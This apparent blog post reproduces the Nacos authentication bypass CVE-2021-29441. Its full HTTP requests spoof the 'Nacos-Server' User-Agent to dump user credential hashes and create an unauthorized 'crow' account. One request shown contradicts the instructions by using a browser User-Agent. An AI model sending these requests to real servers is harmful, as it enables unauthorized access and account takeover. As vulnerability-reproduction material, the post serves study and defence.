Nacos 认证绕过漏洞(CVE-2021-29441)复现

记一次内网Nacos 认证绕过漏洞(CVE-2021-29441)复现

漏洞说明

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

参考链接:https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29441/README.zh-cn.md

复现过程

1.1漏洞检测

http://目标地址:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

在访问的时候,将User-Agent的值修改为Nacos-Server,发到repeater模块,看下返回包:

GET /nacos/v1/auth/users?pageNo=1&pageSize=2 HTTP/1.1
Host: 192.168.112.58:8848
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Date: Tue, 07 May 2024 01:33:34 GMT
Connection: close
Content-Length: 159

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$j1O.6HQN8V63NCT/LNAB0.oyDv3decr.zXzTlJNOuCWHTgvPJkmr6"}]}

注意修改User-Agent

此时看到返回的响应为200,并且包含了当前的用户名nacos,密码为加盐加密之后的值

1.2用户注册

在下面的链接中添加一个新用户:crow,注意使用POST方法,并且需要将User-Agent依旧设置为Nacos-Server

http://目标地址:8848/nacos/v1/auth/users?username=crow&password=crow
POST /nacos/v1/auth/users?username=crow&password=crow HTTP/1.1
Host: 192.168.112.58:8848
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

返回包:

HTTP/1.1 200 
Content-Security-Policy: script-src 'self'
Content-Type: application/json;charset=UTF-8
Date: Tue, 07 May 2024 01:36:15 GMT
Connection: close
Content-Length: 52

{"code":200,"message":null,"data":"create user ok!"}

发包记得修改User-Agent
返回"create user ok!"

在浏览器中访问

http://目标地址:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

证明用户创建成功
此时用户添加成功,使用新建的账号登录:

在这里插入图片描述

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值